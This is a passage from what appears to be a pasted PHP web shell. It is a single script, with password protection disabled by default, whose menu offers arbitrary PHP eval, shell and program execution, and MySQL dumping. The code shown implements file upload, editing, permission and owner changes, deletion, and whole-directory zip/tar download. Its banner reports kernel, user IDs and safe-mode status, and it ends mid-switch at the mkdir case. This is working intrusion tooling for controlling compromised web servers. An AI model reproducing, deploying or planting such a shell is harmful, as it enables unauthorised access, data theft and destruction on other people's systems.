· 9 years ago · Jul 07, 2017, 08:04 AM
1<?php
2$settings = array();
3$settings['perms'] = "string";
4$settings['timeformat'] = "j.n.y, G:i";
5$settings['passprotect'] = false; //password protection
6$settings['users'] = array();
7//$settings['users']['USERNAME'] = 'PASSWORD';
8@ini_set('log_errors',0);
9@ini_set("display_errors", "1");
10@ini_set('memory_limit', '1200M');
11set_time_limit(360);
12if(ini_get('register_globals')) {
13 foreach($_REQUEST as $key => $var) {
14 if(isset($GLOBALS[$key])) unset($GLOBALS[$key]);
15 }
16 foreach($_FILES as $key => $var) {
17 if(isset($GLOBALS[$key])) unset($GLOBALS[$key]);
18 }
19}
20
21if(!function_exists('scandir')) {
22 function scandir($dir, $sort = 0) {
23 $dirmap = array();
24 if(!is_dir($dir)) {
25 return false;
26 }
27 $dir = opendir($dir);
28 while (false !== ($file = readdir($dir))) $dirmap[] = $file;
29 closedir($dir);
30 ($sort == 1) ? rsort($dirmap) : sort($dirmap);
31 return $dirmap;
32 }
33}
34if($settings['passprotect']) {
35 if (!isset($_SERVER['PHP_AUTH_USER'])) {
36 header('WWW-Authenticate: Basic realm="Shell account please"');
37 header('HTTP/1.0 401 Unauthorized');
38 echo 'NO.';
39 exit;
40 } else {
41 if(isset($settings['users'][$_SERVER['PHP_AUTH_USER']])) {
42 if($settings['users'][$_SERVER['PHP_AUTH_USER']] == $_SERVER['PHP_AUTH_PW']) {
43 $authed = 1;
44 } else die("NOPE.");
45 } else die("NOPE!");
46 }
47}
48if(get_magic_quotes_gpc()) {
49 foreach($_POST as $key => $var) {
50 $_POST[$key] = stripslashes($var);
51 }
52 foreach($_GET as $key => $var) {
53 $_GET[$key] = stripslashes($var);
54 }
55 foreach($_FILES as $key => $var) {
56 $_FILES[$key] = stripslashes($var);
57 }
58 foreach($_REQUEST as $key => $var) {
59 $_REQUEST[$key] = stripslashes($var);
60 }
61}
62if(!function_exists('sys_get_temp_dir')) {
63 function sys_get_temp_dir() {
64 return "/tmp";
65 }
66}
67function post($v) {
68 if(isset($_POST[$v])) return $_POST[$v];
69 else return null;
70}
71function get($v) {
72 if(isset($_GET[$v])) return $_GET[$v];
73 else return null;
74}
75function request($v) {
76 if(isset($_REQUEST[$v])) return $_REQUEST[$v];
77 else return null;
78}
79
80function files($v) {
81 if(isset($_FILES[$v])) return $_FILES[$v];
82 else return null;
83}
84
85function showperms($perms,$type="string") {
86 switch($type) {
87 default:
88 case "string":
89 if (($perms & 0xC000) == 0xC000) {
90 // Socket
91 $info = 's';
92 } elseif (($perms & 0xA000) == 0xA000) {
93 // Symbolic Link
94 $info = 'l';
95 } elseif (($perms & 0x8000) == 0x8000) {
96 // Regular
97 $info = '-';
98 } elseif (($perms & 0x6000) == 0x6000) {
99 // Block special
100 $info = 'b';
101 } elseif (($perms & 0x4000) == 0x4000) {
102 // Directory
103 $info = 'd';
104 } elseif (($perms & 0x2000) == 0x2000) {
105 // Character special
106 $info = 'c';
107 } elseif (($perms & 0x1000) == 0x1000) {
108 // FIFO pipe
109 $info = 'p';
110 } else {
111 // Unknown
112 $info = 'u';
113 }
114
115 // Owner
116 $info .= (($perms & 0x0100) ? 'r' : '-');
117 $info .= (($perms & 0x0080) ? 'w' : '-');
118 $info .= (($perms & 0x0040) ?
119 (($perms & 0x0800) ? 's' : 'x' ) :
120 (($perms & 0x0800) ? 'S' : '-'));
121
122 // Group
123 $info .= (($perms & 0x0020) ? 'r' : '-');
124 $info .= (($perms & 0x0010) ? 'w' : '-');
125 $info .= (($perms & 0x0008) ?
126 (($perms & 0x0400) ? 's' : 'x' ) :
127 (($perms & 0x0400) ? 'S' : '-'));
128
129 // World
130 $info .= (($perms & 0x0004) ? 'r' : '-');
131 $info .= (($perms & 0x0002) ? 'w' : '-');
132 $info .= (($perms & 0x0001) ?
133 (($perms & 0x0200) ? 't' : 'x' ) :
134 (($perms & 0x0200) ? 'T' : '-'));
135 return $info;
136 break;
137 case "number":
138 return substr(sprintf('%o', $perms), -4);
139 break;
140 }
141
142}
143
144
145function gettablesql($table,$ver = null) {
146 if($ver == null) {
147 list($cver) = mysql_fetch_row(mysql_query("SELECT @@version"));
148 $ver = substr($cver,0,1);
149 }
150 echo 'CREATE TABLE IF NOT EXISTS `'.mysql_real_escape_string($table).'` ('."\n";
151 $gcqu = "SHOW COLUMNS IN `".mysql_real_escape_string($table)."`";
152 $getcolumns = mysql_query($gcqu);
153 if($getcolumns) {
154 $isfirst = 1;
155 $primaries = $npkeys = array();
156 while($column = mysql_fetch_assoc($getcolumns)) {
157 if(!$isfirst) echo ",\n";
158 else $isfirst = 0;
159 echo ' `'.mysql_real_escape_string($column['Field']).'` '.$column['Type'];
160 if(strtoupper($column['Null']) == "NO") echo ' NOT NULL ';
161 else echo ' NULL ';
162 if($column['Extra'] == "auto_increment") echo "AUTO_INCREMENT";
163 elseif($column['Default'] && $column['Type'] == 'timestamp' && $column['Default'] == 'CURRENT_TIMESTAMP') echo "DEFAULT ".mysql_real_escape_string($column['Default']);
164 elseif($column['Default']) echo "DEFAULT '".mysql_real_escape_string($column['Default'])."'";
165 if($column['Key'] == "PRI") $primaries[] = $column['Field'];
166 elseif($column['Key'] == "UNI") echo ",\n UNIQUE KEY (`".mysql_real_escape_string($column['Field'])."`)";
167 else {
168 if($ver >= 5) $gkqu = "SHOW KEYS IN `".mysql_real_escape_string($table)."` WHERE `Table`='".mysql_real_escape_string($table)."' && `Column_name`='".mysql_real_escape_string($column['Field'])."'";
169 else $gkqu = "SHOW KEYS IN `".mysql_real_escape_string($table)."`";
170 $getkeys = mysql_query($gkqu);
171 if($getkeys) {
172 while($key = mysql_fetch_assoc($getkeys)) {
173 if($ver >= 5 || ($key['Table'] == $table && $key['Column_name'] == $column['Field'])) {
174 $npkeys[$key['Key_name']][] = $key;
175 }
176 }
177 } else die("\nMySQL error: ".mysql_error()." in '".$gkqu."'\n");
178 }
179 }
180 if($npkeys) {
181 foreach($npkeys as $keyname => $key) {
182 if(count($key) == 1) {
183 //no multirow key
184 $key = $key[0];
185 if($key['Non_unique']) {
186 echo ",\n KEY (`".mysql_real_escape_string($key['Column_name'])."`".($key['Sub_part'] ? "(".$key['Sub_part'].")" : '').")";
187 }
188 else {
189 echo ",\n UNIQUE KEY (`".mysql_real_escape_string($key['Column_name'])."`".($key['Sub_part'] ? "(".$key['Sub_part'].")" : '').")";
190 }
191 } else {
192 if($key[0]['Non_unique']) {
193 echo ",\n KEY (";
194 }
195 else {
196 echo ",\n UNIQUE KEY (";
197 }
198 $isfirst = 1;
199 foreach($key as $keypart) {
200 if(!$isfirst) echo ", ";
201 else $isfirst = 0;
202 echo '`'.mysql_real_escape_string($keypart['Column_name']).'`'.($keypart['Sub_part'] ? "(".$keypart['Sub_part'].")" : '');
203 }
204 echo ")";
205
206 }
207 }
208 }
209 if($primaries) {
210 echo ",\n PRIMARY KEY (";
211 $isfirst = 1;
212 foreach($primaries as $primary) {
213 if(!$isfirst) echo ", ";
214 else $isfirst = 0;
215 echo '`'.mysql_real_escape_string($primary).'`';
216 }
217 echo ")\n";
218 }
219 } else die("\nMysql Errror: ".mysql_error()." in '".$gcqu."'\n");
220 echo ");\n\n";
221}
222function gettablecontentsql($table,$insertbreak = 10,$ver = 0,$partial = "",$limit = "",$order = "") {
223 if($ver == null) {
224 list($cver) = mysql_fetch_row(mysql_query("SELECT @@version"));
225 $ver = substr($cver,0,1);
226 }
227 $gcqu = "SHOW COLUMNS IN `".mysql_real_escape_string($table)."`";
228 $getcolumns = mysql_query($gcqu);
229 if($getcolumns) {
230 $columns = array();
231 while($column = mysql_fetch_assoc($getcolumns)) {
232 list($type) = explode("(",$column['Type'],2);
233 $columns[] = $column + array('rtype' => $type);
234 if($column['Extra'] == "auto_increment") $aitab = $column['Field'];
235 }
236 } else die("\nMySQL error: ".mysql_error()." in '".$gcqu."'\n");
237 $insertstart = "INSERT INTO `".mysql_real_escape_string($table)."` (";
238 $isfirst = true;
239 foreach($columns as $column) {
240 if(!$isfirst) $insertstart .= ", ";
241 else $isfirst = false;
242 $insertstart .= "`".mysql_real_escape_string($column['Field'])."`";
243 }
244 $insertstart .= ") VALUES (";
245 $insertend = ");\n";
246 $getdatasql = "SELECT * FROM `".mysql_real_escape_string($table)."` ".$partial." ".(!$order ? (!empty($aitab) ? (" ORDER BY `".mysql_real_escape_string($aitab)."`") : "") : $order )." ".$limit;
247 $getrows = mysql_query($getdatasql);
248 if(!$getrows) {
249 echo "\nMySQL error: ".mysql_error()." in: \n".$getdatasql;
250 return false;
251 }
252 $i = 0;
253 while($row = mysql_fetch_assoc($getrows)) {
254 if(!($i%$insertbreak)) echo $insertstart;
255 else echo ", (";
256 $isfirst = true;
257 foreach($columns as $column) {
258 if(!$isfirst) echo ", ";
259 else $isfirst = false;
260 if($column['Null'] == "YES" && $row[$column['Field']] === null) echo "null";
261 else {
262 switch($column['rtype']) {
263 default: echo "'".mysql_real_escape_string($row[$column['Field']])."'"; break;
264 case "tinyint": case "int": case "float": case "bigint": case "smallint": echo $row[$column['Field']]; break;
265
266 }
267 }
268 }
269 if(!(($i+1)%$insertbreak)) echo $insertend;
270 else echo ")";
271 $i++;
272 }
273 if($i != 0) echo ";\n";
274}
275function findindb($needle,$type='col',$identical = 0) {
276 $getdatabases = mysql_list_dbs();
277 while ($db = mysql_fetch_row($getdatabases)) {
278 mysql_query("USE `".$db[0]."`");
279 $gettables = mysql_query("SHOW TABLES");
280 while($table= mysql_fetch_row($gettables)) {
281 if($type == 'col') {
282 $getcolumns = mysql_query("SHOW COLUMNS IN `".mysql_real_escape_string($table[0])."`");
283 if($getcolumns) {
284 while($column = mysql_fetch_assoc($getcolumns)) {
285 foreach($needle as $n) {
286 if((!$identical && stripos($column['Field'],$n) !== false) || ($identical && strtolower($column['Field']) == strtolower($n)) ) {
287 echo "Database: <b>".htmlentities($db[0])."</b> Table: <b>".htmlentities($table[0])."</b> Column: <b>".htmlentities($column['Field'])."</b> Found: ".htmlentities($n)."<br />";
288 break;
289 }
290 }
291 }
292 }
293 } elseif($type == 'table') {
294 foreach($needle as $n) {
295 if((!$identical && stripos($table[0],$n) !== false) || ($identical && strtolower($table[0]) == strtolower($n)) ) {
296 echo "Database: <b>".htmlentities($db[0])."</b> Table: <b>".htmlentities($table[0])."</b> Found: ".htmlentities($n)."<br />";
297 break;
298 }
299 }
300 }
301 }
302 }
303}
304function get_iden_query($iden) {
305 if($iden) {
306 $iden = base64_decode($iden);
307 $crit = explode("&",$iden);
308 if($crit) {
309 $query = "";
310 $error = 0;
311 foreach($crit as $cr) {
312 if(strpos($cr,"=") !== false) {
313 $crits = explode("=",$cr,2);
314 $query .= ($query ? " &&" : "")." `".mysql_real_escape_string($crits[0])."`='".mysql_real_escape_string($crits[1])."'";
315 } else {
316 $error = 1;
317 break;
318 }
319 }
320 if(!$error) {
321 return $query;
322 } else echo "Error: invalid data specified.";
323 } else echo "Error: No specific row selected.";
324 } else echo "Error: That row doesn't exist (anymore?)";
325 return false;
326}
327$action = get('action');
328if(!request('shownone')) {
329?>
330<div style="font-size:12px; margin:0px; margin-bottom:5px; border:0px; border-bottom:1px black solid; padding:0px; ">
331 [<a href="?action=dir">Files/directories</a>]
332 [<a href="?action=eval">Execute PHP Code (eval)</a>]
333 [<a href="?action=shellexec">Execute Shell</a>]
334 [<a href="?action=exec">Execute ext. program</a>]
335 [<a href="?action=phpinfo">PHPInfo();</a>]
336 [<a href="?action=showglobals">Show all vars</a>]
337 [<a href="?action=mysql">MySQL</a>]
338 [<a href="?action=system">System</a>]
339 <br>
340 [<?php $thingcache = @php_uname(); if($thingcache) list($kernel) = explode("#",$thingcache,2); else $kernel = "Couldn't retrieve Kernel version"; echo $kernel; ?>]
341 [PHP Ver: <?php echo phpversion(); ?>]
342 <?php if(function_exists('php_ini_loaded_file')) { ?>[Ini file: <?php echo php_ini_loaded_file(); ?>]<?php } ?>
343 [User: <?php $thingcache = @get_current_user(); if($thingcache) echo $thingcache; else echo "Couldn't retrieve"; ?>]
344 [GID: <?php $thingcache = @getmygid(); if($thingcache) echo $thingcache; else echo "Couldn't retrieve"; ?>]
345 [UID: <?php $thingcache = @getmyuid();if($thingcache) echo $thingcache; else echo "Couldn't retrieve"; ?>]
346 [Safe mode: <?php if(ini_get("safe_mode") || strtolower(ini_get("safe_mode")) == "on") echo "on"; else echo "off"; ?>]
347 [Open basedir: <?php if(ini_get("open_basedir") || strtolower(ini_get("open_basedir")) == "on") echo "on"; else echo "off"; ?>]
348 <br><span style="font-size:11px;">[Server: <?php echo htmlentities($_SERVER['SERVER_SOFTWARE']);?>]</span>
349 <br><span style="font-size:11px;">[Server IP: <?php echo htmlentities($_SERVER['SERVER_ADDR']);?> (<?php echo htmlentities($_SERVER['SERVER_NAME']);?>)] [Your IP: <?php echo htmlentities($_SERVER['REMOTE_ADDR']);?> (<?php echo htmlentities(gethostbyaddr($_SERVER['REMOTE_ADDR']));?>)]
350 [Space: <?php if(@disk_free_space(getcwd()) && @disk_total_space(getcwd())) { echo round(disk_free_space(getcwd())/(1024*1024*1024),2);?>/<?php echo round(disk_total_space(getcwd())/(1024*1024*1024),2);?>GB<?php } else echo "Couldn't retrieve"; ?>] [Script pos: <a href="?action=dir&dir=<?php echo urlencode(getcwd());?>"><?php echo getcwd(); ?></a>]</span>
351
352 </div>
353<?php
354}
355switch($action) {
356 default:
357 case "dir":
358 //add other options here later
359 case "listdir":
360 if(!get('dir')) $dir = getcwd();
361 else $dir = get('dir');
362 ?>
363 <form style="margin:0px;" method="GET" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']);?>">
364 <input type="hidden" name="action" value="<?php echo htmlentities($action); ?>">
365 Directory navigation: <input type="text" name="dir" value="<?php echo htmlentities($dir);?>" size="60">
366 <input type="submit" value="List Dir">
367 </form>
368 <form style="margin:0px;" method="GET" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']);?>">
369 <input type="hidden" name="action" value="touch">
370 Touch (create) file: <input type="text" name="file" value="<?php echo htmlentities($dir);?>/" size="60">
371 <input type="submit" value="Make file">
372 </form>
373 <form style="margin:0px;" method="GET" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']);?>">
374 <input type="hidden" name="action" value="file">
375 Edit file: <input type="text" name="file" value="<?php echo htmlentities($dir);?>/" size="60">
376 <input type="submit" value="Open file">
377 </form>
378 <form style="margin:0px;" method="GET" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']);?>">
379 <input type="hidden" name="action" value="mkdir">
380 Make directory: <input type="text" name="dir" value="<?php echo htmlentities($dir);?>/" size="60">
381 <input type="submit" value="Make dir">
382 </form>
383 <form style="margin:0px;" enctype="multipart/form-data" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']);?>?action=upfile" method="POST">
384 <input type="hidden" name="dir" value="<?php echo htmlentities($dir); ?>">
385 Upload file to this dir: <input name="file" type="file">
386 <input type="submit" value="Upload file">
387 overwrite? <input type="checkbox" name="overwrite" value="1" />
388 rename? <input type="text" name="fname" value="" size="20">
389 </form>
390
391 <?php
392 if(@is_dir($dir)) {
393 if($dircontent = scandir($dir)) {
394 echo "<table border=\"1\">";
395 ?><tr><td>type</td><td>go</td><td>X</td><td>DL</td><td>name</td><td>size</td><td>mode</td><td>owner</td><td>group</td><td>access</td><td>change</td></tr><?php
396 foreach($dircontent as $thing) {
397 if(@is_dir($dir."/".$thing)) $isdir = true;
398 else $isdir = false;
399
400 if($thing == ".") $thingpath = "/";
401 else $thingpath = @realpath($dir."/".$thing);
402 ?>
403 <tr>
404 <td>
405 <?php
406 if($isdir) echo "<font color=\"#AAAA00\"><b>dir</b></font>";
407 else echo "<font color=\"#AAAAAA\"><b>file</b></font>";
408 ?>
409 </td>
410 <td>
411 <?php
412 if($isdir) echo "<a href=\"?action=listdir&dir=".urlencode($thingpath)."\">go</a>";
413 else echo "<a href=\"?action=file&file=".urlencode($thingpath)."\">go</a>";
414 ?>
415 </td>
416 <td>
417 <?php
418 if($isdir) { if($thingpath != "/") echo "<a href=\"?action=rmdir&dir=".urlencode($thingpath)."\">rm</a>"; }
419 else echo "<a href=\"?action=delfile&file=".urlencode($thingpath)."\">del</a>";
420 ?>
421 </td>
422 <td>
423 <?php
424 if(!$isdir) echo "<a href=\"?action=dlfile&shownone=true&file=".urlencode($thingpath)."\">dl</a>";
425 else echo "<a href=\"?action=zipdir&shownone=true&dir=".urlencode($thingpath)."\">zip</a>";
426 ?>
427 </td>
428 <td>
429 <b><?php echo htmlentities($thing); ?></b>
430 </td>
431 <td>
432 <?php
433 if($isdir) { echo "-"; }
434 else echo ((round(filesize($thingpath)/1024,2) != 0) ? (round(filesize($thingpath)/1024,2)." kb") : (filesize($thingpath)."b"));
435 ?>
436 </td>
437 <td>
438 <b style='font-family:courier,"courier new";'>
439 <?php
440 echo showperms(@fileperms($thingpath),$settings['perms']);
441 ?>
442 </b>
443 </td>
444 <td>
445 <?php
446 echo @fileowner($thingpath);
447 ?>
448 </td>
449 <td>
450 <?php
451 echo @filegroup($thingpath);
452 ?>
453 </td>
454 <td>
455 <?php
456 echo date($settings['timeformat'],@fileatime($thingpath));
457 ?>
458 </td>
459 <td><b>
460 <?php
461 echo date($settings['timeformat'],@filectime($thingpath));
462 ?>
463 </b></td>
464 </tr>
465 <?php
466 }
467 echo "</table>";
468 } else {
469 echo "<b>Error:</b> No permission to open \"".htmlentities($dir)."\". DENIED!<br>";
470 }
471 } else {
472 echo "<font color=\"#990000\">";
473 if(!file_exists($dir)) echo "<b>Error:</b> \"".htmlentities($dir)."\" does not exist.<br>";
474 else echo "<b>Error:</b> \"".htmlentities($dir)."\" is not a directory<br>";
475 echo "</font>";
476 }
477
478 break;
479 case "upfile":
480 if($file = files('file')) {
481 $dir = (trim(post('dir')) && is_dir(trim(post('dir')))) ? trim(post('dir')) : getcwd();
482 if(substr($dir,-1,1) != "/") $dir .= "/";
483 if(trim(post('fname'))) $filename = $dir.trim(post('fname'));
484 else $filename = $dir.$file['name'];
485 if(file_exists($filename)) {
486 echo "<font color=\"#990000\">File ".htmlentities($filename)." already exists!</font><br>";
487 }
488 if(!file_exists($filename) || post('overwrite')) {
489 if(file_exists($filename)) echo "<b>Overwriting...</b><br>";
490 if(move_uploaded_file($file['tmp_name'], $filename)) {
491 echo "<font color=\"#00AA00\"><b>FILE UPLOADED!</b></font><br>";
492 } else {
493 echo "<font color=\"#990000\">Upload failed. Fuck. </font><br>";
494 }
495 }
496
497 } else echo "<font color=\"#990000\"><b>Error:</b> No file uploaded</font><br>";
498 ?>
499[<a href="?action=dir&dir=<?php echo urlencode($dir);?>">containing directory</a>]
500[<a href="?action=delfile&file=<?php echo urlencode($filename);?>">delete again</a>]
501[<a href="?action=php&file=<?php echo urlencode($filename);?>">as php source</a>]
502[<a href="?action=html&file=<?php echo urlencode($filename);?>">as html</a>]
503[<a href="?action=file&file=<?php echo urlencode($filename);?>">edit file</a>]
504
505 <?php
506 break;
507 case "file":
508 case "editfile":
509 $file = get('file');
510 if($file) {
511 if(is_file($file)) {
512 if(post('newname') && post('newname') != $file) {
513 if(post('fnoverwrite') || !file_exists(post('newname'))) {
514 if(rename($file,post('newname'))) {
515 echo "<font color=\"#00AA00\"><b>File name changed successfully</b></font><br>";
516 $file = post('newname');
517 }
518 else echo "<font color=\"#990000\"><b>Error:</b> Failed to change file name</font><br>";
519 } else echo "<font color=\"#990000\"><b>Error:</b> Failed to change file name - a file with that name already exists!</font><br>";
520 }
521 if(post('copyto') && post('copyto') != $file) {
522 if(post('fcoverwrite') || !file_exists(post('copyto'))) {
523 if(copy($file,post('copyto'))) {
524 echo "<font color=\"#00AA00\"><b>File copied successfully</b></font><br>";
525 }
526 else echo "<font color=\"#990000\"><b>Error:</b> Failed to copy file</font><br>";
527 } else echo "<font color=\"#990000\"><b>Error:</b> Failed to copy file - a file with that name already exists!</font><br>";
528 }
529 if(post('chmod') && post('chmod') != substr(sprintf('%o', fileperms($file)),-4)) {
530 if(preg_match("/^([0-8]{3,4})$/",post('chmod')) ) {
531 if(chmod($file,octdec(post('chmod')))) {
532 echo "<font color=\"#00AA00\"><b>File CHMod to ".htmlspecialchars(post('chmod'))." successful</b></font><br>";
533 $chmod = htmlspecialchars(post('chmod'));
534 }
535 else echo "<font color=\"#990000\"><b>Error:</b> Failed to CHMod</font><br>";
536 } else echo "<font color=\"#990000\"><b>Error:</b> That is not a valid CHMod number.</font><br>";
537 }
538 if(post('owner') && post('owner') != fileowner($file)) {
539 if(chown($file,post('owner'))) echo "<font color=\"#00AA00\"><b>File owner changed successfully</b></font><br>";
540 else echo "<font color=\"#990000\"><b>Error:</b> Failed to change owner </font><br>";
541 }
542 if(post('group') && post('group') != filegroup($file)) {
543 if(chgrp($file,post('group'))) echo "<font color=\"#00AA00\"><b>File group changed successfully</b></font><br>";
544 else echo "<font color=\"#990000\"><b>Error:</b> Failed to change group </font><br>";
545 }
546 }
547 }
548 case "php":
549 case "html":
550 $file = get('file');
551 ?>
552 <form method="GET" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']);?>">
553 <input type="hidden" name="action" value="<?php echo htmlentities($action); ?>">
554 File: <input type="text" name="file" value="<?php echo htmlentities($file);?>" size="60">
555 <input type="submit" value="List">
556 </form>
557
558 <?php
559 if($file) {
560 if(is_file($file)) {
561 $info = pathinfo($file);
562 if(post('contents')) {
563 if(file_put_contents($file,post('contents'))) {
564 echo "<font color=\"#00AA00\"><b>File edited successfully</b></font><br>";
565 } else echo "<font color=\"#990000\"><b>Error:</b> Can't writing to file!</font><br>";
566 }
567 if(!isset($chmod)) $chmod = substr(sprintf('%o', fileperms($file)),-4);
568 ?>
569 <form method="POST" action="<?php echo htmlentities(post('SCRIPT_NAME'));?>?action=<?php echo htmlentities($action); ?>&file=<?php echo htmlentities($file)?>">
570 new file name/path: <input type="text" name="newname" value="<?php echo htmlentities($file);?>" size="60"> <input type="checkbox" name="fnoverwrite" value="1">Overwrite existing files<br>
571 copy to: <input type="text" name="copyto" value="" size="60"> <input type="checkbox" name="fcoverwrite" value="1">Overwrite existing files<br>
572 new CHMOD: <input type="text" name="chmod" value="<?php echo $chmod;?>" size="60"><br>
573 new File owner (id or name): <input type="text" name="owner" value="<?php echo htmlentities(fileowner($file));?>" size="60"><br>
574 new File group (id or name): <input type="text" name="group" value="<?php echo htmlentities(filegroup($file));?>" size="60"><br>
575 <?php
576 if($action != "php" && $action != "html") {
577 ?>
578 <textarea name="contents" style="width:80%; height:500;"><?php
579 $handle = fopen ($file, "r");//not using file_get_contents in case the file is too big for the memory
580 if($handle) {
581 while (!feof($handle)) {
582 $buffer = fgets($handle, 4096);
583 echo htmlentities($buffer);
584 }
585 fclose ($handle);
586 } else echo "Could not open file! Denied!";
587 ?></textarea><br>
588 <?php
589 } elseif($action == "php") {
590 echo "<hr />";
591 if(highlight_file($file));
592 else echo "Could not open file! Denied!";
593 echo "<hr />";
594 } elseif($action == "html") {
595 echo "<hr />";
596 $handle = fopen ($file, "r");//not using file_get_contents in case the file is too big for the memory
597 if($handle) {
598 while (!feof($handle)) {
599 $buffer = fgets($handle, 4096);
600 echo $buffer;
601 }
602 fclose ($handle);
603 } else echo "Could not open file! Denied!";
604 echo "<hr />";
605 }
606 ?>
607 <input type="submit" value="edit!"> [<a href="?action=dir&dir=<?php echo urlencode($info['dirname']);?>">containing directory</a>] [<a href="?action=delfile&file=<?php echo urlencode($file);?>">delete</a>] [<a href="?action=php&file=<?php echo urlencode($file);?>">as php source</a>] [<a href="?action=html&file=<?php echo urlencode($file);?>">as html</a>] [<a href="?action=file&file=<?php echo urlencode($file);?>">edit file</a>]
608 </form>
609 <?php
610 } else {
611 echo "<font color=\"#990000\">";
612 if(!file_exists($file)) echo "<b>Error:</b> \"".htmlentities($file)."\" does not exist.<br>";
613 else echo "<b>Error:</b> \"".htmlentities($file)."\" is not a file<br>";
614 echo "</font>";
615 }
616 }
617 break;
618 case "delfile":
619 $file = get('file');
620 if($file) {
621 if(is_file($file)) {
622 if(post('sure')) {
623 if(unlink($file)) echo "<font color=\"#00AA00\"><b>File \"".htmlentities($file)."\" deleted successfully!</b></font><br><a href=\"?action=dir&dir=".htmlentities(( substr($file,0,strrpos($file,'/')) ))."\">Back to the directory listing</a>";
624 else echo "<font color=\"#990000\"><b>Error while deleting the file \"".htmlentities($file)."\"!</b></font>";
625 } else {
626 ?>
627 <form method="POST">
628 Do you really want to delete the file "<?php echo htmlentities($file); ?>"?<br>
629 <input type="checkbox" name="sure" value="1"> Yes.<br>
630 <input type="submit" value="Do it!">
631 </form>
632 <?php
633 }
634 } else {
635 echo "<font color=\"#990000\">";
636 if(!file_exists($file)) echo "<b>Error:</b> \"".htmlentities($file)."\" does not exist.<br>";
637 else echo "<b>Error:</b> \"".htmlentities($file)."\" is not a file<br>";
638 echo "</font>";
639 }
640 }
641 break;
642 case "dlfile":
643 $file = get('file');
644 if($file) {
645 if(is_file($file)) {
646 $ffile = substr(strrchr($file,'/'),1);
647 $handle = fopen ($file, "r");//not using file_get_contents in case the file is too big for the memory
648 if($handle) {
649 header('Content-Disposition: attachment; filename="'.$ffile.'"');
650 header('Content-Transfer-Encoding: binary');
651 header("Content-Length: " . filesize($file));
652 while (!feof($handle)) {
653 $buffer = fgets($handle, 4096);
654 echo $buffer;
655 }
656 fclose ($handle);
657 } else echo "Could not open file! Denied!";
658 } else echo "not a file";
659 } else echo "no file";
660 break;
661 case "rmdir":
662 $dir = get('dir');
663 if($dir) {
664 if(is_dir($dir)) {
665 if(post('sure')) {
666 if(rmdir($dir)) echo "<font color=\"#00AA00\"><b>directory \"".htmlentities($dir)."\" deleted successfully!</b></font><br><a href=\"?action=dir\">Back to the directory listing</a>";
667 else echo "<font color=\"#990000\"><b>Error while deleting the directory \"".htmlentities($dir)."\"! (maybe it's not empty?)</b></font>";
668 } else {
669 ?>
670 <form method="POST">
671 Do you really want to delete the directory "<?php echo htmlentities($dir); ?>"? (it has to be empty)<br>
672 <input type="checkbox" name="sure" value="1"> Yes.<br>
673 <input type="submit" value="Do it!">
674 </form>
675 <?php
676 }
677 } else {
678 echo "<font color=\"#990000\">";
679 if(!file_exists($file)) echo "<b>Error:</b> \"".htmlentities($file)."\" does not exist.<br>";
680 else echo "<b>Error:</b> \"".htmlentities($file)."\" is not a directory<br>";
681 echo "</font>";
682 }
683 }
684 break;
685 case "zipdir":
686 ignore_user_abort(true);//this is to make sure the zip archive gets deleted from the temp folder
687 $dir = get('dir');
688 if($dir) {
689 if(is_dir($dir)) {
690 $fdir = substr(strrchr(substr($dir,1),'/'),1);
691 if(1) {
692 //echo "<font color=\"#990000\">ZipArchive class not available! Can't zip anything!</font>";
693 //Zip not available -> using cmd instead
694 $tmpfile = tempnam(sys_get_temp_dir(), "zip").".zip";
695 if(!isset($_GET['tar']) && $cmd = exec("zip -r \"".$tmpfile."\" \"".realpath($dir)."\"",$output,$ret)) {
696 $handle = fopen ($tmpfile, "r");//not using file_get_contents in case the file is too big for the memory
697 if($handle) {
698 header("Content-Type: application/zip");
699 header("Content-Length: " . filesize($tmpfile));
700 header("Content-Disposition: attachment; filename=\"".$fdir.".zip\"");
701 while (!feof($handle)) {
702 echo fgets($handle, 4096);
703 }
704 fclose ($handle);
705 } else {
706 echo "Could not open zip. Weird.";
707 }
708 if(file_exists($tmpfile)) unlink($tmpfile);
709 } else {
710 //echo "zip failed:<br /> ".nl2br(htmlentities(print_r($output,true)))." <hr /> (".htmlentities($ret).") / (".htmlentities($tmpfile).")";
711 if(file_exists($tmpfile)) unlink($tmpfile);
712
713 $tmpfile = tempnam(sys_get_temp_dir(), "tar").".tar";
714 $cmdd = "tar -cf \"".$tmpfile."\" \"".realpath($dir)."\"";
715 $cmd = exec($cmdd,$output,$ret);
716 if(!$ret) {
717 $handle = fopen ($tmpfile, "r");//not using file_get_contents in case the file is too big for the memory
718 if($handle) {
719 header("Content-Type: application/tar");
720 header("Content-Length: " . filesize($tmpfile));
721 header("Content-Disposition: attachment; filename=\"".$fdir.".tar\"");
722 while (!feof($handle)) {
723 echo fgets($handle, 4096);
724 }
725 fclose ($handle);
726 } else {
727 echo "Could not open tar. Weird.";
728 }
729 if(file_exists($tmpfile)) unlink($tmpfile);
730 } else echo "tar failed: ".htmlentities($cmdd)."<br /> ".nl2br(htmlentities(print_r($output,true)))." <hr /> (".htmlentities($ret).") / (".htmlentities($tmpfile).")";
731 if(file_exists($tmpfile)) unlink($tmpfile);
732 }
733 }
734 } else {
735 echo "<font color=\"#990000\">";
736 if(!file_exists($dir)) echo "<b>Error:</b> \"".htmlentities($dir)."\" does not exist.<br>";
737 else echo "<b>Error:</b> \"".htmlentities($dir)."\" is not a directory<br>";
738 echo "</font>";
739 }
740 }
741 break;
742 case "touch":
743 $file = get('file');
744 $info = pathinfo($file);
745 if($file) {
746 if(@touch($file)) {
747 echo "<font color=\"#00AA00\"><b>File \"".htmlentities($file)."\" touched successfully!</b></font><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir&dir=".urlencode($info['dirname'])."\">to the directory</a><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=file&file=".urlencode($file)."\">to the file</a><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir\">to the directory listing</a><br>";
748 } else echo "<font color=\"#990000\"><b>Error:</b> file \"".htmlentities($file)."\" could not be touched (Denied!)</font><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir&dir=".urlencode($info['dirname'])."\">to the directory</a><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir\">to the directory listing</a><br>";
749 }
750 break;
751 case "mkdir":
752 $dir = get('dir');
